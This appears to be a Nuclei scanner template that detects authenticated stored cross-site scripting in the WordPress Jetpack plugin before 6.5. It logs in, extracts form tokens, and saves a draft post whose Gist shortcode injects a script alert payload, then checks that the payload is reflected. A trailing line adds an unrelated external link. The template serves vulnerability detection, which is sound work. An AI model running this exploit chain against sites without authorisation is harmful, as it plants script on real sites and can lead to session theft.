jetpack-stored-xss: Jetpack < 6.5 - Stored Cross-Site Scripting

id: jetpack-stored-xss

info:
  name: Jetpack < 6.5 - Stored Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    Detected authenticated stored XSS in Jetpack < 6.5 via crafted Gist shortcode.
  reference:
    - https://wpscan.com/vulnerability/5e63453f-4d95-4bc3-9338-2d77f95f9ee7/
    - https://wordpress.org/plugins/jetpack/
  metadata:
    verified: true
    max-request: 4
  tags: wordpress,wp-plugin,wpscan,jetpack,xss,authenticated,intrusive,vuln

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/post-new.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, 'Add New Post')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: nonce
        regex:
          - 'name="_wpnonce"[^>]+value="([^"]+)"'
        internal: true

      - type: regex
        part: body
        group: 1
        name: user_id
        regex:
          - 'id="user-id"[^>]+value="([^"]+)"'
        internal: true

      - type: regex
        part: body
        group: 1
        name: post_id
        regex:
          - 'id=.post_ID.[^>]+value=.([0-9]+)'
        internal: true

      - type: regex
        part: body
        group: 1
        name: referer
        regex:
          - 'name="_wp_http_referer"[^>]+value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{nonce}}&_wp_http_referer={{referer}}&user_ID={{user_id}}&action=editpost&originalaction=editpost&post_author={{user_id}}&post_type=post&original_post_status=auto-draft&referredby=&_wp_original_http_referer=&auto_draft=1&post_ID={{post_id}}&post_title=XSS+Test&content=[gist]"></script><script>alert(document.domain)</script><script src="[/gist]&post_status=draft&hidden_post_status=draft&visibility=public&hidden_post_visibility=public&mm=12&jj=26&aa=2025&hh=04&mn=18&ss=00&hidden_mm=12&hidden_jj=26&hidden_aa=2025&hidden_hh=04&hidden_mn=18&save=Save+Draft

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
        internal: true

  - raw:
      - |
        GET /wp-admin/post.php?post={{post_id}}&action=edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, 'alert(document.domain)')
        condition: and
# digest: 490a004630440220424cb33d4c5ff74bbf4fd051f86896018ce08e306989e9f5e2cc7757b86a69410220587b287b519c1012e6b889d863306ba600b9cf2975cc6d18710ebdc84fde0eb2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.